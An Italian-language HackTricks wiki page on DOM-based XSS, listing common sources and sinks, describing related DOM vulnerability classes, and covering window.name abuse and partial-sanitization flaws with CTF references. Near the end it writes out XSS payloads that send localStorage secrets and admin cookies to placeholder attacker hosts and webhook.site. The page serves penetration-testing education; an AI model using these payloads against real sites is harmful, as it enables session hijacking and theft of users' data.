DOM XSS
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Vulnerabilità DOM
Le vulnerabilità DOM si verificano quando dati controllati dall’attaccante provenienti da Sources (come location.search, document.referrer, o document.cookie) vengono trasferiti in modo non sicuro a Sinks. I Sinks sono funzioni o oggetti (ad es., eval(), document.body.innerHTML) che possono eseguire o rendere contenuti dannosi se ricevono dati malevoli.
- Sources sono input che possono essere manipolati dagli attaccanti, incluse URL, cookie e web messages.
- Sinks sono endpoint potenzialmente pericolosi dove dati malevoli possono causare effetti avversi, come l’esecuzione di script.
Il rischio sorge quando i dati fluiscono da una source a una sink senza adeguata validazione o sanitizzazione, permettendo attacchi come XSS.
Tip
Puoi trovare una lista più aggiornata di sources e sinks in https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Sinks comuni:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
Il sink innerHTML non accetta elementi script su nessun browser moderno, né gli eventi svg onload verranno eseguiti. Questo significa che dovrai usare elementi alternativi come img o iframe.
Questo tipo di XSS è probabilmente il più difficile da trovare, poiché devi guardare all’interno del codice JS, vedere se sta usando un qualsiasi oggetto il cui valore è sotto il tuo controllo, e in tal caso, verificare se esiste un modo per abusarne per eseguire JS arbitrario.
Strumenti per trovarli
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Estensione del browser per controllare ogni dato che raggiunge un potenziale sink: https://github.com/kevin-mizu/domloggerpp
Esempi
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM si verificano quando uno script scrive dati, che un attaccante può controllare, in un sink capace di iniziare una navigazione tra domini.
È fondamentale capire che l’esecuzione di codice arbitrario, come javascript:alert(1), è possibile se si ha il controllo dell’inizio dell’URL dove avviene il reindirizzamento.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Manipolazione dei cookie
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
Le vulnerabilità DOM-based di manipolazione dei cookie si verificano quando uno script incorpora dati, che possono essere controllati da un attaccante, nel valore di un cookie. Questa vulnerabilità può causare comportamenti imprevisti della pagina web se il cookie viene utilizzato all’interno del sito. Inoltre, può essere sfruttata per eseguire una session fixation attack se il cookie è coinvolto nel tracciamento delle sessioni utente. Il sink principale associato a questa vulnerabilità è:
Sinks:
document.cookie
JavaScript Injection
Da: https://portswigger.net/web-security/dom-based/javascript-injection
Le vulnerabilità di DOM-based JavaScript injection si verificano quando uno script esegue dati controllabili da un attaccante come codice JavaScript.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities si verificano quando uno script imposta la proprietà document.domain usando dati che un attacker può controllare.
La proprietà document.domain svolge un ruolo chiave nell’applicazione della same-origin policy da parte dei browser. Quando due pagine di origini diverse impostano il loro document.domain allo stesso valore, possono interagire senza restrizioni. Sebbene i browser impongano certi limiti sui valori assegnabili a document.domain, impedendo l’assegnazione di valori completamente non correlati all’origine effettiva della pagina, esistono eccezioni. Tipicamente, i browser consentono l’uso di domini figli o domini padre.
Sinks:
document.domain
WebSocket-URL poisoning
Da: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning si verifica quando uno script utilizza dati controllabili come URL di destinazione per una connessione WebSocket.
Sinks:
Il costruttore WebSocket può causare vulnerabilità di WebSocket-URL poisoning.
Link manipulation
Da: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities si verificano quando uno script scrive dati controllabili dall’attaccante in un target di navigazione all’interno della pagina corrente, come un link cliccabile o l’URL di invio di un form.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Da: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities si verificano quando uno script scrive dati controllabili dall’attaccante in una Ajax request inviata tramite un oggetto XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities si verificano quando uno script passa dati controllati dall’attaccante a un’API per la gestione dei file come parametro filename. Questa vulnerabilità può essere sfruttata da un attaccante per costruire un URL che, se visitato da un altro utente, potrebbe portare il browser dell’utente ad aprire o scrivere un file locale arbitrario.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Iniezione SQL lato client
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities si verificano quando uno script incorpora dati controllabili dall’attaccante in una query SQL lato client in modo non sicuro.
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities si verificano quando uno script stores attacker-controllable data in the web browser’s HTML5 storage (localStorage o sessionStorage). Sebbene questa azione non sia intrinsecamente una vulnerabilità di sicurezza, diventa problematica se l’applicazione successivamente reads the stored data and processes it unsafely. Questo potrebbe permettere a un attaccante di sfruttare il meccanismo di storage per condurre altri DOM-based attacks, come cross-site scripting e JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities si verificano quando uno script incorpora dati controllabili dall’attaccante in una XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Iniezione JSON lato client
Da: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities si verificano quando uno script incorpora dati controllabili dall’attaccante in una stringa che viene interpretata come una struttura dati JSON e poi elaborata dall’applicazione.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
Fonte: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities si verificano quando uno script invia dati controllabili dall’attaccante come web message a un altro documento all’interno del browser. Un esempio di Web-message manipulation vulnerabile può essere trovato su PortSwigger’s Web Security Academy.
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
Fonte: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities si manifestano quando uno script scrive dati controllabili dall’attaccante in un campo del DOM che viene utilizzato nell’interfaccia visibile (UI) o nella logica client-side. Questa vulnerabilità può essere sfruttata da un attaccante per costruire un URL che, se visitato da un altro utente, può alterare l’aspetto o il comportamento della UI client-side.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
Fonte: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities si verificano quando uno script passa attacker-controllable data unsafely to a problematic platform API. Questo include API che, quando invocate, possono portare il computer dell’utente a consumare excessive amounts of CPU or disk space. Tali vulnerabilità possono avere effetti collaterali significativi, come il browser che limita la funzionalità del sito rifiutando i tentativi di memorizzare dati in localStorage o terminando script che consumano troppe risorse.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Variabili globali implicite & window.name abuse
Fare riferimento a name senza una dichiarazione (var/let/const) risolve in window.name. Poiché window.name persiste tra navigazioni cross-origin, un attaccante può pre-popolare il nome del contesto di navigazione con HTML/JS e in seguito far sì che il codice della vittima lo interpreti come dati attendibili:
- Apri/naviga il target in un contesto nominato che controlli:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Oppure riutilizzare
window.opencon un nome di destinazione appositamente creato:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Se l’applicazione in seguito esegue element.innerHTML = name (o uno sink simile) senza sanitizzazione, la stringa controllata dall’attaccante window.name viene eseguita nell’origine di destinazione, abilitando DOM XSS e l’accesso allo storage same-origin.
Flussi admin/automazione: storage pre-seeded & javascript: navigazione
I bot di automazione (p.es., Playwright) spesso visitano prima una pagina interna, impostano segreti in localStorage/cookies, quindi navigano verso URL forniti dall’utente. Qualsiasi primitiva DOM XSS (incluso l’abuso di window.name) in quel flusso può exfiltrate il segreto preinserito:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Se il bot non limita gli schemes, fornire un URL javascript: (javascript:fetch(...)) viene eseguito nell’origine corrente senza nuova navigazione, causando direttamente il leak dei storage values.
Template literal innerHTML + lacune nella sanitizzazione parziale
I front-end che sanitizzano solo campi selezionati ma interpolano comunque un campo non attendibile direttamente in innerHTML sono facilmente sfruttabili. Esempio:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
Se il campo non sanitizzato viene memorizzato server-side (es., bug report “details”), il payload diventa stored DOM XSS per qualsiasi visualizzatore privilegiato della lista. Un payload semplice come <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> viene eseguito quando un admin apre la pagina ed esfiltra i cookie dell’admin.
Quando l’app disabilita esplicitamente SESSION_COOKIE_HTTPONLY (es., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), il cookie rubato concede immediatamente la sessione dell’admin anche se il segreto di firma ruota ad ogni avvio (un secret_key casuale impedisce la falsificazione, ma il furto funziona comunque).
Riferimenti
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


